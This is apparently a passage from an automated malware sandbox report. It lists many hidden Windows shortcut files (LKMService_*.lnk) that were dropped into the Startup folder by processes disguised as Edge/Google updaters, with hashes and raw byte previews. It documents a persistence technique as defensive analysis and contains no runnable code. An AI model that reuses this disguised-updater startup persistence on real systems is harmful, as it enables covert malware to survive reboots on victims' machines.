Preview:	L..................F...."......P....%j&P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ddd5f525ed5b46b4872a7b2f5f49c219.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:56 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940687300234454
Encrypted:	false
SSDEEP:	24:8pkGRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pxRjr1R8AZjvgTyF
MD5:	B8F54037FE9EAD5E3CCCE810D941B2FD
SHA1:	82FB375D663ECE6FBC8E0E739E2026C8CC9EB63C
SHA-256:	636C402BA5848D96AAB92E40BB96D9BBB6D5BD756382DD37A9C9DE0656ECC115
SHA-512:	2ADC94CE48239AB3E8E6DE26791ED1133E95D30CB11E237689B75DFC2D80576E8429D2184F4CEA4D1A225F2BBCF7CC45402E7D9A401851472A4FD5FA429F71DF
Malicious:	false
Preview:	L..................F...."......P......@P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_de2ff563f8fe48b1a26a389369ec8b31.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:38 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940319521386277
Encrypted:	false
SSDEEP:	24:8pwAR2eYl1RogKrA5+W8Ajfv/42egvqyFm:8p5R2r1R8AZjvgTyF
MD5:	733E6A7189E642394977126553E7F1C6
SHA1:	902FF503010774FC76BBE2F2C7D8CE4620AEB197
SHA-256:	E44B8E1D219429C596ADEBAE8FC0046F051B1B43AB8AA64F0A767DCE556CD13B
SHA-512:	945689435B2E8B64BB0A60F6F6E5B36854D441F1EF0CE8B2F809AB5A4ECBF89983B93D5FB356A25B2272AA31929D2163A2A847871FDEDD7655501EA94050EF08
Malicious:	false
Preview:	L..................F...."......P...ku.YP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...f!.XP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_dea9ababe47c4fed9cac73f27b471539.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:28 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9402954070304785
Encrypted:	false
SSDEEP:	24:8pwRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pwRkr1R8AZjvgTyF
MD5:	A80F042D5F9A3962CC703461FBB9E2AA
SHA1:	A7A34A2C59B680ECCEAB9B5CD0BCB00533057867
SHA-256:	1C42E126D73C860B4AA8AFE231C45D75C72811E57ECA0E2AD7F2875FE246D5B6
SHA-512:	DE8F300125DD5AE911AE1F34564E8763A9AC73372E6F8489B1F95D663C90AEB7BF95811A3FE5C66F257DBE1864837E4D53A932F02FE603144E25AF577AE394F4
Malicious:	false
Preview:	L..................F...."......P....mV.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_df0c8781cbf24bb98a87ed8f61b85265.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:47 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940624824351628
Encrypted:	false
SSDEEP:	24:8p2RBeYl1RogKrA5+W8Ajfv/42egvqyFm:8p2RBr1R8AZjvgTyF
MD5:	4C06EE103EAFBCD940948A9527344733
SHA1:	F547030D415F1BB849D3A0C5FDC65A8C0E9A978D
SHA-256:	F30BF223E8496161EAABAAC10F962985DB4F73E4D0F4D3CE8BAE3167A82824F7
SHA-512:	2245CC42E447D3C1BC005675B70872A502532DFC3AEF5F42E123513D766EAF778771CE10EB4FB9B2030C9520559F56FF738E9C9269A710733A311F2B6FCCB226
Malicious:	false
Preview:	L..................F...."......P....6..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e04c76b26907405f8b42d142ea72b766.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:41 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9389370606385485
Encrypted:	false
SSDEEP:	24:8pPRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pPRkr1R8AZjvgTyF
MD5:	94721173060897397EDF45AA01B4E236
SHA1:	99E29B680ECFE56FC0CCB178E7669F6189C21372
SHA-256:	ED9695AF96C49EEB07363D61FC804A2967B2E56BBD108D2CAE7E277D75FA11DA
SHA-512:	D34668EE22D88E3E2A62C1FA8E3DC0566B3922A4CD50D3E04109705E8E28901599478805E3695781DA20C17A00F4E8A7E7C6E5DAFBEE0AC390FA3040AB1ED999
Malicious:	false
Preview:	L..................F...."......P...m...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e05b7c485c4c49f6bf0093aaff493eff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:57 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944602076269095
Encrypted:	false
SSDEEP:	24:8pyRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pyRBr1R8AZjvgTyF
MD5:	870187AC968696DC42480FC117F79852
SHA1:	5275D326D767885EE35B6C0B1B6771DA39810683
SHA-256:	0AE233030A7D0A79C359414097E147E865C329614C3CBCDB27AD0884C4A0B435
SHA-512:	88F8AFC2EB7C4473347E07B62082161CD80B7F3598CE22A429788F66FAE2BB6A24BA21FB01C5D907DBBED8312582DA0DEB019D504430548FB13E2F512FE5D241
Malicious:	false
Preview:	L..................F...."......P...u..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e17a0145e1874fd581df00f92fad4d95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:24 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944019834972983
Encrypted:	false
SSDEEP:	24:8pwOjRueYl1RogKrA5+W8Ajfv/42egvqyFm:8p1Rur1R8AZjvgTyF
MD5:	C3D1B28E1638E582A0DE39F7E12F0791
SHA1:	6136D28CDEE8F53B98B806F0A09B13B55A28B56C
SHA-256:	143AA44B41EC78988E27677743731EEA21AE44BE2405ED4CB39ECF4F996A30AD
SHA-512:	BF2B2D8D0CC854DB971222D303EF2EF3BB5A03656F4D17604A4359BB40059B6775CCB88E4744208B60D90A958D80104918B544EF82342F655216283DF16DD927
Malicious:	false
Preview:	L..................F...."......P....fAQP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......QP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e56d9ed9f100469b82435697a23ad99a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:40 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944272658947944
Encrypted:	false
SSDEEP:	24:8pUR9eYl1RogKrA5+W8Ajfv/42egvqyFm:8pUR9r1R8AZjvgTyF
MD5:	3D2FA0085A5D98B0904CA17C04C9B4FF
SHA1:	CC6D0456CA0740F7279A2A64E18DC3E0E5A54A45
SHA-256:	C90A48A8752887A2A707C87EE51853B72F5B1B8E3187CC06509E7269D1EAAF3D
SHA-512:	D38206AA5EEB6BA0A2FF841B0335B44F999B1B8E9F0D660C51D5F63AF4A6CF22945C47C39AF1BB9A2914FD58F84EF735D64E5AC8204BFFE6C42DEB4FE79B7B8C
Malicious:	false
Preview:	L..................F...."......P...R.,[P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...R.,[P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e87ed31dd38847b9863b43efda133083.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:08 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943328004535485
Encrypted:	false
SSDEEP:	24:8p2XvRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8p2XvRBr1R8AZjvgTyF
MD5:	0CD14453F27BD2BA8546C3AD4D5B24D0
SHA1:	35124D702A81E1FDFDDE7913E9EAE5C71620487A
SHA-256:	3F77D413001A9AA0D3534D0AC64C38ED9479E66540FD39057E145E627C2FAC66
SHA-512:	01CFE09ABA40070A180541252A6A5F0F462E771C12A7C9A51E4ECAC9C22718CECD106217A025A8BC0D3AC35A4796AC7E654C1563EE87DDD45992F29D1DABB705
Malicious:	false
Preview:	L..................F...."......P....B.#P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e96cb81d930d44f689b031296e548724.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:10 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940050264367649
Encrypted:	false
SSDEEP:	24:8pkRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pkRjr1R8AZjvgTyF
MD5:	C1D57A2F47F52B825CE5260B67074774
SHA1:	77F54641C5D7A2693FB6B28A6ECBF502A4E6D1ED
SHA-256:	503C9AAA93401E9B258AA2B630E08F4F905989DEDC84E0EC0027DC6E341049CF
SHA-512:	0C7214FB3F75EBAE4D37F286C70C8965E160812CECAA1C11EFBBB5FAE7BE5386E6785BAD2A514A510163FA3CBF286916F4A21DBAF30D566E4D43CBAC195CD904
Malicious:	false
Preview:	L..................F...."......P...w.6%P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_eaca1c41ed604f6da9538b1fd6021e47.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:56 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941724515480725
Encrypted:	false
SSDEEP:	24:8p6RBeYl1RogKrA5+W8Ajfv/42egvqyFm:8p6RBr1R8AZjvgTyF
MD5:	4308F87063A1E915469B285B9A156FE1
SHA1:	16103546940A0065CDA54F19870BC1A76AE589AB
SHA-256:	10B4DC437F90026A812292C2AB6399BEBABB1516781021A59754AF81562DBC71
SHA-512:	FA67FF9EA9E6AAB4B2E44AC0E7A56B75D92FC55ADA185D1ADC0A904B2359B14BB1B219102A3C1723934D236795DE1D45AC6D66FEC9B5A44C645B56CF30A445A5
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ec672003c90e43629a85b9ccedf8a3ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:04 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939981957196953
Encrypted:	false
SSDEEP:	24:8plRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8plRjr1R8AZjvgTyF
MD5:	38BB3EF59BF5CDDB188671694C95F847
SHA1:	94A2047207456FBC0BCAAAA764D4D392A56E2EF7
SHA-256:	4910E8A54BCD37D883B6FB14FB9D4072935CCE62F342BFB8129872456E0295E5
SHA-512:	2FBE6C314936F7FEF0EC0B0A1448B2373A57E13E3A38CDA421D44CC9EE0E4D34B7FBEC89E051C83565C55367BAE5D4D2FD24940C4C770EDFB6CAD32BF2C6A90F
Malicious:	false
Preview:	L..................F...."......P...M..EP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ed7e14576ef74cdbb885f4240316373d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:53 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94540766145254
Encrypted:	false
SSDEEP:	24:8puRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8puRjr1R8AZjvgTyF
MD5:	1CB7DA8F059346DDFB7DB505246F8B99
SHA1:	C0EDC8E610310930E447334486C5E99327A6564D
SHA-256:	FA070B3E4634E1DD342F4A699312E778CF9EEE5654A2419977EA4B237D3D5B80
SHA-512:	9029F94724DF90CC8976BC3873C63989477D9D80FDC4C5F7899BCE1B5FE36FBD840E90BBE3831A8BD0709D55D5FE7BE653F91F10E6E6B994362C6D54FAA0CE3B
Malicious:	false
Preview:	L..................F...."......P......>P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.